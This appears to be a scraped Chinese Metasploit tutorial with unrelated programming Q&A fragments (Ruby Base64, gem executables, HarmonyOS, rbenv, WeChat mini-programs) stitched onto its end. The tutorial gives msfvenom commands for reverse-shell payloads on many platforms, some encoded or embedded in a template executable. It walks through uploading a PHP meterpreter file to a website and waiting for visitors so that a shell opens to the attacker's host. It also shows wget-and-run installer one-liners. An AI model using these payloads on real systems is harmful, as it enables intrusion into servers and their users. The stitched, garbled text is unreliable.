msfconsole简称msf是一款常用的渗透测试工具,包含了常见的漏洞利用模块和生成各种渗透文件,利用网站,手机等的漏洞将到目标靶机,操控目标靶机…这边仅供学习使用
msfconsole

注:默认kali 预装了metasploit-framework,即msfconsole命令,如果没有或提示:
msfconsole:commad not found
请自行安装:apt install metasploit-framework
生成payload时常见参数说明:
-p, –payload < payload> 指定需要使用的payload(攻击荷载)。也可以使用自定义payload,几乎是支持全平台的
-l, –list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
-n, –nopsled < length> 为payload预先指定一个NOP滑动长度
-f, –format < format> 指定输出格式 (使用 –help-formats 来获取msf支持的输出格式列表)
-e, –encoder [encoder] 指定需要使用的encoder(编码器),指定需要使用的编码,如果既没用-e选项也没用-b选项,则输出raw payload
-a, –arch < architecture> 指定payload的目标架构,例如x86 | x64 | x86_64
–platform < platform> 指定payload的目标平台
-s, –space < length> 设定有效攻击荷载的最大长度,就是文件大小
-b, –bad-chars < list> 设定规避字符集,指定需要过滤的坏字符例如:不使用 '\x0f'、'\x00';
-i, –iterations < count> 指定payload的编码次数
-c, –add-code < path> 指定一个附加的win32 shellcode文件
-x, –template < path> 指定一个自定义的可执行文件作为模板,并将payload嵌入其中
-k, –keep 保护模板程序的动作,注入的payload作为一个新的进程运行
–payload-options 列举payload的标准选项
-o, –out < path> 指定创建好的payload的存放位置
-v, –var-name < name> 指定一个自定义的变量,以确定输出格式
–shellest 最小化生成payload
-h, –help 查看帮助选项
–help-formats 查看msf支持的输出格式列表
msf控制台参数运用
- banner #这个主要是查看metasploit的版本信息,利用模块数量、payload数量等等。
- use #这个是使用参数。如你要使用到某个利用模块,payload等,那么就要使用到use参数
- Search #当你使用msfconsole的时候,你会用到各种漏洞模块、各种插件等等。所以search命令就很重要。
使用命令 `help search` 可以查看具体使用方法;
其他使用方法:
查mysql:`search name:mysql`; 查joomla:`search joomla`;查ubutu漏洞:`searchsploit ubuntu 16.04`;查ms08-067漏洞:`search ms08-067`
......
- show #这个命令用的很多。如果单纯的输入show,那么就会显示出所有的payload,利用模块,post模块,插件等等。但是一般我们都不这么使用。如果要显示利用模块,那么就输入show exploits。如果要显示payload,那么就输入show payloads。
参考博文地址:https://blog.csdn.net/zx77588023/article/details/119063685
yum install -y wget && wget -O install.sh https://notdocker.xp.cn/install.sh && sh install.shyum install -y wget && wget -O install.sh http://download.bt.cn/install/install_6.0.sh && sh install.sh ed8484becmsf制作反弹链接,即php 渗透文件:msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.78.129 lport=8080 -o venom.php
解析截图:

生成的venom.php文件内容大概如下:

注:使用文件时需去掉红色框中的内容/*,即可正常使用!
攻击其他平台的渗透文件生成命令示例如下;注意,命令中的
Your IP Address
需要自行替换为攻击主机的IP,
Your Port to Connect On
替换为你设置的端口
msfvenom -p windows/meterpreter/reverse_tcp -f exe -o C:\back.exemsfvenom -p windows/meterpreter/reverse_tcp -i 3 -e x86/shikata_ga_na -f exe -o C:\back.exemsfvenom -p windows/meterpreter/reverse_tcp -platform windows -a x86 -x C:\nomal.exe -k -f exe -o C:\shell.exemsfvenom -platform windows -a x86 -p windows/x64/meterpreter/reverse_tcp -f exe -o C:\back.exemsfvenom -p linux/*86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elfmsfvenom -p osx/x86/shelLreverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.machomsfvenom -p php/meterpreterreverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.phpmsfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.aspmsfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.aspxmsfvenom - p java/jsp_shellreverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jspmsfvenom -p java/jsp_shelLreverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.warmsfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.shmsfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.plmsfvenom -p python/meterpreter/reverser_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pyvenom.php php网站目录文件,所以上传到自建的网站的根目录下!msfconsole简介,在msf控制面板依次输入以下命令: use exploit/multi/handler #使用监听模块
set payload php/meterpreter/reverse_tcp #设置tcp_php的反弹链接,和渗透文件的payload保持一致
set lhost 192.168.78.129 #本机ip,与生成渗透文件的host保持一致
set lport 8080 #本机端口,与生成渗透文件保持一致
exploit
执行完成后会出现以下界面,然后静待有人访问网站;

访问站点链接:

当有人访问了我们上传的venom.php时,会出现如下界面,进入到meterpreter控制台:

上面表示我们已经成功控链接到网站,可自行尝试读取!以下为执行的一些命令尝试:

我正在使用的第三方API的文档状态:"[O]urAPIonlyacceptspaddedBase64encodedstrings."什么是“填充的Base64编码字符串”以及如何在Ruby中生成它们。下面的代码是我第一次尝试创建转换为Base64的JSON格式数据。xa=Base64.encode64(a.to_json) 最佳答案 他们说的padding其实就是Base64本身的一部分。它是末尾的“=”和“==”。Base64将3个字节的数据包编码为4个编码字符。所以如果你的输入数据有长度n和n%3=1=>"=="末尾用于填充n%
我想用ruby编写一个小的命令行实用程序并将其作为gem分发。我知道安装后,Guard、Sass和Thor等某些gem可以从命令行自行运行。为了让gem像二进制文件一样可用,我需要在我的gemspec中指定什么。 最佳答案 Gem::Specification.newdo|s|...s.executable='name_of_executable'...endhttp://docs.rubygems.org/read/chapter/20 关于ruby-在Ruby中编写命令行实用程序
在应用开发中,有时候我们需要获取系统的设备信息,用于数据上报和行为分析。那在鸿蒙系统中,我们应该怎么去获取设备的系统信息呢,比如说获取手机的系统版本号、手机的制造商、手机型号等数据。1、获取方式这里分为两种情况,一种是设备信息的获取,一种是系统信息的获取。1.1、获取设备信息获取设备信息,鸿蒙的SDK包为我们提供了DeviceInfo类,通过该类的一些静态方法,可以获取设备信息,DeviceInfo类的包路径为:ohos.system.DeviceInfo.具体的方法如下:ModifierandTypeMethodDescriptionstatic StringgetAbiList()Obt
我从Ubuntu服务器上的RVM转移到rbenv。当我使用RVM时,使用bundle没有问题。转移到rbenv后,我在Jenkins的执行shell中收到“找不到命令”错误。我内爆并删除了RVM,并从~/.bashrc'中删除了所有与RVM相关的行。使用后我仍然收到此错误:rvmimploderm~/.rvm-rfrm~/.rvmrcgeminstallbundlerecho'exportPATH="$HOME/.rbenv/bin:$PATH"'>>~/.bashrcecho'eval"$(rbenvinit-)"'>>~/.bashrc.~/.bashrcrbenvversions
@作者:SYFStrive @博客首页:HomePage📜:微信小程序📌:个人社区(欢迎大佬们加入)👉:社区链接🔗📌:觉得文章不错可以点点关注👉:专栏连接🔗💃:感谢支持,学累了可以先看小段由小胖给大家带来的街舞👉微信小程序(🔥)目录自定义组件-behaviors 1、什么是behaviors 2、behaviors的工作方式 3、创建behavior 4、导入并使用behavior 5、behavior中所有可用的节点 6、同名字段的覆盖和组合规则总结最后自定义组件-behaviors 1、什么是behaviorsbehaviors是小程序中,用于实现
作为新的阿里云用户,您可以50免费试用多种优惠,价值高达1,700美元(或8,500美元)。这将让您了解和体验阿里云平台上提供的一系列产品和服务。如果您以个人身份注册免费试用,您将获得价值1,700美元的优惠。但是,如果您是注册公司,您可以选择企业免费试用,提交基本信息通过企业实名注册验证,即可开始价值$8,500的免费试用!本教程介绍了如何设置您的帐户并使用您的免费试用版。关于免费试用在我们开始此试用之前,您还必须遵守以下条款和条件才能访问您的免费试用:只有在一年内创建的账户才有资格获得阿里云免费试用。通过此免费试用优惠,用户可以免费试用免费试用活动页面上列出的每种产品一次。如果您有多个帐
我有一个问题。我想从另一个ruby脚本运行一个ruby脚本并捕获它的输出信息,同时让它也输出到屏幕。亚军#!/usr/bin/envrubyprint"Enteryourpassword:"password=gets.chompputs"Hereisyourpassword:#{password}"我运行的脚本文件:开始.rboutput=`runner`putsoutput.match(/Hereisyour(password:.*)/).captures[0].to_s正如您在此处看到的那样,存在问题。在start.rb的第一行,屏幕是空的。我在运行程序中看不到“输入您的密
有这样的事吗?我想在Ruby程序中使用它。 最佳答案 试试这个http://csl.sublevel3.org/jp2a/此外,Imagemagick可能还有一些东西 关于ruby-是否有将图像文件转换为ASCII艺术的命令行程序或库?,我们在StackOverflow上找到一个类似的问题: https://stackoverflow.com/questions/6510445/
如何在Ruby的if语句中检查bash命令的返回值(true/false)。我想要这样的东西,if("/usr/bin/fswscell>/dev/null2>&1")has_afs="true"elsehas_afs="false"end它会提示以下错误含义,它总是返回true。(irb):5:warning:stringliteralincondition正确的语法是什么?更新:/usr/bin/fswscell寻找afs安装和运行状态。它会抛出这样的字符串,Thisworkstationbelongstocell如果afs没有运行,命令以状态1退出 最
在几个项目中,我希望有一个类似rakeserver的rake任务,它将通过任何需要的方式开始为该应用程序提供服务。这是一个示例:task:serverdo%x{bundleexecrackup-p1234}end这行得通,但是当我准备停止它时,按Ctrl+c并没有正常关闭;它中断了Rake任务本身,它说rakeaborted!并给出堆栈跟踪。在某些情况下,我必须执行Ctrl+c两次。我可能可以用Signal.trap写一些东西来更优雅地中断它。有没有更简单的方法? 最佳答案 trap('SIGINT'){puts"Yourmessa